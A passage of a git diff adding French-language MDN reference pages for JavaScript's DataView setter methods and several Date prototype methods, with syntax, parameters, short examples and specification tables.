{{optional_inline}} Indique si la donnée sur 64 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut false ou undefined, l'ordre sera celui des octets de poids forts.
+
+ +

Valeur de retour

+ +

{{jsxref("undefined")}}.

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
+
+ +

Exemples

+ +

Utilisation de la méthode setBigInt64()

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setBigInt64(0, 3n);
+dataview.getInt32(0); // 3n
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationÉtat
Proposition pour DataView.prototype.setBigInt64()
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.setBigInt64")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
  • {{jsxref("BigInt")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/setbiguint64/index.html b/files/fr/web/javascript/reference/global_objects/dataview/setbiguint64/index.html new file mode 100644 index 0000000000..21ab72e54b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/setbiguint64/index.html @@ -0,0 +1,85 @@ +--- +title: DataView.prototype.setBigUint64() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/setBigUint64 +tags: + - BigInt + - DataView + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setBigUint64 +--- +
{{JSRef}}
+ +

La méthode setBigUint64() permet d'enregister un entier non-signé sur 64 bits (type unsigned long long par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-setbiguint64.html")}}
+ + + +

Syntaxe

+ +
dataview.setBigUint64(positionOctet, value [, littleEndian])
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en nombre d'octets, à partir du début de la vue à laquelle enregistrer la donnée.
+
valeur
+
La valeur à enregistrer
+
littleEndian
+
{{optional_inline}} Indique si la donnée sur 64 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut false ou undefined, l'ordre sera celui des octets de poids forts.
+
+ +

Valeur de retour

+ +

{{jsxref("undefined")}}.

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
+
+ +

Exemples

+ +

Utilisation de la méthode setBigUint64()

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setBigUint64(0, 3n);
+dataview.getInt32(0); // 3n
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationÉtat
Proposition pour DataView.prototype.setBigUint64()
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.setBigUint64")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
  • {{jsxref("BigInt")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/setfloat32/index.html b/files/fr/web/javascript/reference/global_objects/dataview/setfloat32/index.html new file mode 100644 index 0000000000..ebea17bc04 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/setfloat32/index.html @@ -0,0 +1,95 @@ +--- +title: DataView.prototype.setFloat32() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/setFloat32 +tags: + - DataView + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setFloat32 +--- +
{{JSRef}}
+ +

La méthode setFloat32() permet d'enregistrer un nombre flottant signé sur 32 bits (type float par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-setfloat32.html")}}
+ + + +

Syntaxe

+ +
dataview.setFloat32(positionOctet, valeur [, littleEndian])
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.
+
valeur
+
La valeur à enregistrer
+
littleEndian
+
{{optional_inline}} Indique si la donnée sur 32 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut false ou undefined, l'ordre sera celui des octets de poids forts.
+
+ +

Valeur de retour

+ +

{{jsxref("undefined")}}.

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
+
+ +

Exemples

+ +

Utilisation de la méthode setFloat32

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setFloat32(1, 3);
+dataview.getFloat32(1); // 3
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.setfloat32', 'DataView.prototype.setFloat32')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.setfloat32', 'DataView.prototype.setFloat32')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.setFloat32")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/setfloat64/index.html b/files/fr/web/javascript/reference/global_objects/dataview/setfloat64/index.html new file mode 100644 index 0000000000..e8db496af9 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/setfloat64/index.html @@ -0,0 +1,95 @@ +--- +title: DataView.prototype.setFloat64() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/setFloat64 +tags: + - DataView + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setFloat64 +--- +
{{JSRef}}
+ +

La méthode setFloat64() permet d'enregistrer un nombre flottant signé sur 64 bits (type double par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-setfloat64.html")}}
+ + + +

Syntaxe

+ +
dataview.setFloat64(positionOctet, value [, littleEndian])
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.
+
valeur
+
La valeur à enregistrer
+
littleEndian
+
{{optional_inline}} Indique si la donnée sur 64 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut false ou undefined, l'ordre sera celui des octets de poids forts.
+
+ +

Valeur de retour

+ +

{{jsxref("undefined")}}.

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
+
+ +

Exemples

+ +

Utilisation de la méthode setFloat64

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setFloat64(0, 3);
+dataview.getFloat64(0); // 3
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.setfloat64', 'DataView.prototype.setFloat64')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.setfloat64', 'DataView.prototype.setFloat64')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.setFloat64")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/setint16/index.html b/files/fr/web/javascript/reference/global_objects/dataview/setint16/index.html new file mode 100644 index 0000000000..0e39e1ddb4 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/setint16/index.html @@ -0,0 +1,95 @@ +--- +title: DataView.prototype.setInt16() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/setInt16 +tags: + - DataView + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setInt16 +--- +
{{JSRef}}
+ +

La méthode setInt16() permet d'enregister un entier signé sur 16 bits (type short par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-setint16.html")}}
+ + + +

Syntaxe

+ +
dataview.setInt16(positionOctet, value [, littleEndian])
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.
+
valeur
+
La valeur à enregistrer
+
littleEndian
+
{{optional_inline}} Indique si la donnée sur 16 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut false ou undefined, l'ordre sera celui des octets de poids forts.
+
+ +

Valeur de retour

+ +

{{jsxref("undefined")}}.

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
+
+ +

Exemples

+ +

Utilisation de la méthode setInt16

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setInt16(1, 3);
+dataview.getInt16(1); // 3
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée par ECMAScript 2015 (ES6).
{{SpecName('ES2015', '#sec-dataview.prototype.setint16', 'DataView.prototype.setInt16')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.setint16', 'DataView.prototype.setInt16')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.setInt16")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/setint32/index.html b/files/fr/web/javascript/reference/global_objects/dataview/setint32/index.html new file mode 100644 index 0000000000..84338c5ddb --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/setint32/index.html @@ -0,0 +1,95 @@ +--- +title: DataView.prototype.setInt32() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/setInt32 +tags: + - DataView + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setInt32 +--- +
{{JSRef}}
+ +

La méthode setInt32() permet d'enregister un entier signé sur 32 bits (type long par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-setint32.html")}}
+ + + +

Syntaxe

+ +
dataview.setInt32(positionOctet, value [, littleEndian])
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.
+
valeur
+
La valeur à enregistrer
+
littleEndian
+
{{optional_inline}} Indique si la donnée sur 32 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut false ou undefined, l'ordre sera celui des octets de poids forts.
+
+ +

Valeur de retour

+ +

{{jsxref("undefined")}}.

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
+
+ +

Exemples

+ +

Utilisation de la méthode setInt32

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setInt32(1, 3);
+dataview.getInt32(1); // 3
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée par ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.setint32', 'DataView.prototype.setInt32')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.setint32', 'DataView.prototype.setInt32')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.setInt32")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/setint8/index.html b/files/fr/web/javascript/reference/global_objects/dataview/setint8/index.html new file mode 100644 index 0000000000..cd81ef7718 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/setint8/index.html @@ -0,0 +1,93 @@ +--- +title: DataView.prototype.setInt8() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/setInt8 +tags: + - DataView + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setInt8 +--- +
{{JSRef}}
+ +

La méthode setInt8() permet d'enregister un entier signé sur 8 bits à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-setint8.html")}}
+ + + +

Syntaxe

+ +
dataview.setInt8(positionOctet, valeur)
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.
+
valeur
+
La valeur à enregistrer.
+
+ +

Valeur de retour

+ +

{{jsxref("undefined")}}.

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
+
+ +

Exemples

+ +

Utilisation de la méthode setInt8

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setInt8(1, 3);
+dataview.getInt8(1); // 3
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.setint8', 'DataView.prototype.setInt8')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.setint8', 'DataView.prototype.setInt8')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.setInt8")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/setuint16/index.html b/files/fr/web/javascript/reference/global_objects/dataview/setuint16/index.html new file mode 100644 index 0000000000..a6375403c4 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/setuint16/index.html @@ -0,0 +1,95 @@ +--- +title: DataView.prototype.setUint16() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/setUint16 +tags: + - DataView + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setUint16 +--- +
{{JSRef}}
+ +

La méthode setUint16() permet d'enregister un entier non-signé sur 16 bits (type unsigned short par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-setuint16.html")}}
+ + + +

Syntaxe

+ +
dataview.setUint16(positionOctet, valeur [, littleEndian])
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.
+
valeur
+
La valeur à enregistrer
+
littleEndian
+
{{optional_inline}} Indique si la donnée sur 32 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut false ou undefined, l'ordre sera celui des octets de poids forts.
+
+ +

Valeur de retour

+ +

{{jsxref("undefined")}}.

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
+
+ +

Exemples

+ +

Utilisation de la méthode setUint1

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setUint16(1, 3);
+dataview.getUint16(1); // 3
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.setuint16', 'DataView.prototype.setUint16')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.setuint16', 'DataView.prototype.setUint16')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.setUint16")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/setuint32/index.html b/files/fr/web/javascript/reference/global_objects/dataview/setuint32/index.html new file mode 100644 index 0000000000..c4ef087803 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/setuint32/index.html @@ -0,0 +1,95 @@ +--- +title: DataView.prototype.setUint32() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/setUint32 +tags: + - DataView + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setUint32 +--- +
{{JSRef}}
+ +

La méthode setUint32() permet d'enregister un entier non-signé sur 32 bits (type unsigned long par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-setuint32.html")}}
+ + + +

Syntaxe

+ +
dataview.setUint32(positionOctet, valeur [, littleEndian])
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.
+
valeur
+
La valeur à enregistrer
+
littleEndian
+
{{optional_inline}} Indique si la donnée sur 32 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut false ou undefined, l'ordre sera celui des octets de poids forts.
+
+ +

Valeur de retour

+ +

{{jsxref("undefined")}}.

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
+
+ +

Exemples

+ +

Utilisation de la méthode setUint32

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setUint32(1, 3);
+dataview.getUint32(1); // 3
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015 (ES6).
{{SpecName('ES2015', '#sec-dataview.prototype.setuint32', 'DataView.prototype.setUint32')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.setuint32', 'DataView.prototype.setUint32')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.setUint32")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/setuint8/index.html b/files/fr/web/javascript/reference/global_objects/dataview/setuint8/index.html new file mode 100644 index 0000000000..1e4abcb153 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/setuint8/index.html @@ -0,0 +1,93 @@ +--- +title: DataView.prototype.setUint8() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/setUint8 +tags: + - DataView + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setUint8 +--- +
{{JSRef}}
+ +

La méthode setUint8() permet d'enregister un entier non-signé sur 8 bits à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-setuint8.html")}}
+ + + +

Syntaxe

+ +
dataview.setUint8(positionOctet, valeur)
+ +

Paramètres

+ +
+
positionOctet
+
La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.
+
valeur
+
La valeur à enregistrer.
+
+ +

Valeur de retour

+ +

{{jsxref("undefined")}}.

+ +

Erreurs renvoyées

+ +
+
{{jsxref("RangeError")}}
+
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
+
+ +

Exemples

+ +

Utilisation de la méthode setUint8

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setUint8(1, 3);
+dataview.getUint8(1); // 3
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.setuint8', 'DataView.prototype.setUint8')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.setuint8', 'DataView.prototype.setUint8')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.setUint8")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/@@toprimitive/index.html b/files/fr/web/javascript/reference/global_objects/date/@@toprimitive/index.html new file mode 100644 index 0000000000..e3ded8eeb1 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/@@toprimitive/index.html @@ -0,0 +1,67 @@ +--- +title: 'Date.prototype[@@toPrimitive]' +slug: Web/JavaScript/Reference/Objets_globaux/Date/@@toPrimitive +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/@@toPrimitive +--- +
{{JSRef}}
+ +

La méthode [@@toPrimitive]() permet de convertir un objet Date en une valeur primitive.

+ +

Syntaxe

+ +
Date()[Symbol.toPrimitive](hint);
+
+ +

Valeur de retour

+ +

La valeur primitive de l'objet {{jsxref("Date")}}. Selon la valeur de l'argument, la méthode peut renvoyer une chaîne de caractères ou un nombre.

+ +

Description

+ +

La méthode [@@toPrimitive]() de {{jsxref("Date")}} renvoie une valeur primitive qui est un nombre ou une chaîne de caractère.

+ +

Si le paramètre hint vaut "string" ou "default", [@@toPrimitive]() tentera d'appeler la méthode {{jsxref("Object.prototype.toString()", "toString")}}, si la propriété toString() n'existe pas, elle tentera alors d'appeler la méthode {{jsxref("Object.prototype.valueOf()", "valueOf")}}, si cette dernière n'existe pas non plus, [@@toPrimitive]() lèvera une exception {{jsxref("TypeError")}}.

+ +

Si le paramètre hint vaut "number", [@@toPrimitive]() tentera d'abord un appel à valueOf() puis ensuite un appel à toString().

+ +

Le moteur JavaScript appelle la méthode [@@toPrimitive]() afin de convertir un objet en une valeur primitive. Il est rarement nécessaire d'appeler [@@toPrimitive]() explicitement dans son propre code, le moteur JavaScript l'utilisera automatiquement lorsqu'il détectera un objet là où une valeur primitive est attendue.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-date.prototype-@@toprimitive', 'Date.prototype.@@toPrimitive')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-date.prototype-@@toprimitive', 'Date.prototype.@@toPrimitive')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.@@toPrimitive")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Symbol.toPrimitive")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/getdate/index.html b/files/fr/web/javascript/reference/global_objects/date/getdate/index.html new file mode 100644 index 0000000000..571cd6f347 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/getdate/index.html @@ -0,0 +1,88 @@ +--- +title: Date.prototype.getDate() +slug: Web/JavaScript/Reference/Objets_globaux/Date/getDate +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDate +--- +
{{JSRef}}
+ +

La méthode getDate() retourne le jour du mois pour la date spécifiée d'après l'heure locale.

+ +
{{EmbedInteractiveExample("pages/js/date-getdate.html")}}
+ + + +

Syntaxe

+ +
dateObj.getDate()
+ +

Paramètres

+ +

Aucun.

+ +

Valeur de retour

+ +

Un entier entre 1 et 31 correspondant au jour du mois de la date indiquée selon l'heure locale.

+ +

Exemples

+ +

Utiliser getDate()

+ +

La seconde instruction ci-dessous affecte la valeur 25 à la variable jour, d'après la valeur de l'objet {{jsxref("Date")}} Noel95.

+ +
var Noel95 = new Date("December 25, 1995 23:15:00");
+var jour = Noel95.getDate();
+
+console.log(jour); // 25
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-date.prototype.getdate', 'Date.prototype.getDate')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-date.prototype.getdate', 'Date.prototype.getDate')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-15.9.5.14', 'Date.prototype.getDate')}}{{Spec2('ES5.1')}} 
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.getDate")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getUTCDate()")}}
    • +
  • {{jsxref("Date.prototype.getUTCDay()")}}
    • +
  • {{jsxref("Date.prototype.setDate()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/getday/index.html b/files/fr/web/javascript/reference/global_objects/date/getday/index.html new file mode 100644 index 0000000000..08457eaade --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/getday/index.html @@ -0,0 +1,95 @@ +--- +title: Date.prototype.getDay() +slug: Web/JavaScript/Reference/Objets_globaux/Date/getDay +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDay +--- +
{{JSRef}}
+ +

La méthode getDay() renvoie le jour de la semaine pour la date spécifiée selon l'heure locale (0 correspondant à dimanche). Pour obtenir le jour du mois, on utilisera {{jsxref("Date.prototype.getDate()")}}.

+ +
{{EmbedInteractiveExample("pages/js/date-getday.html")}}
+ + + +

Syntaxe

+ +
dateObj.getDay()
+ +

Valeur de retour

+ +

Un entier correspondant au jour de la semaine (0 correspondant à dimanche, 1 à lundi, 2 à mardi et ainsi de suite) de la date indiquée selon l'heure locale.

+ +

Exemples

+ +

Utiliser getDay()

+ +

La seconde instruction ci-dessous assigne la valeur 1 à jourSemaine, selon la valeur de l'objet Date noel95. Le 25 décembre 1995 est un lundi.

+ +
var noel95 = new Date("December 25, 1995 23:15:00");
+var jourSemaine = noel95.getDay();
+
+console.log(jourSemaine); //1
+
+ +
+

Note : Si besoin, on pourra obtenir le nom complet du jour ("lundi" par exemple) en utilisant la méthode {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} avec un paramètre options. Ce faisant, il est plus simple d'internationaliser un site ou une application :

+ +
var options = { weekday: 'long'};
+console.log(new Intl.DateTimeFormat('en-US', options).format(Xmas95));
+// Monday
+console.log(new Intl.DateTimeFormat('de-DE', options).format(Xmas95));
+// Montag
+
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-date.prototype.getday', 'Date.prototype.getDay')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-date.prototype.getday', 'Date.prototype.getDay')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-15.9.5.16', 'Date.prototype.getDay')}}{{Spec2('ES5.1')}} 
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.getDay")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getUTCDate()")}}
    • +
  • {{jsxref("Date.prototype.getUTCDay()")}}
    • +
  • {{jsxref("Date.prototype.setDate()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/getfullyear/index.html b/files/fr/web/javascript/reference/global_objects/date/getfullyear/index.html new file mode 100644 index 0000000000..a6ffdb03e6 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/getfullyear/index.html @@ -0,0 +1,84 @@ +--- +title: Date.prototype.getFullYear() +slug: Web/JavaScript/Reference/Objets_globaux/Date/getFullYear +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getFullYear +--- +
{{JSRef}}
+ +

La méthode getFullYear() renvoie l'année de la date renseignée d'après l'heure locale.

+ +

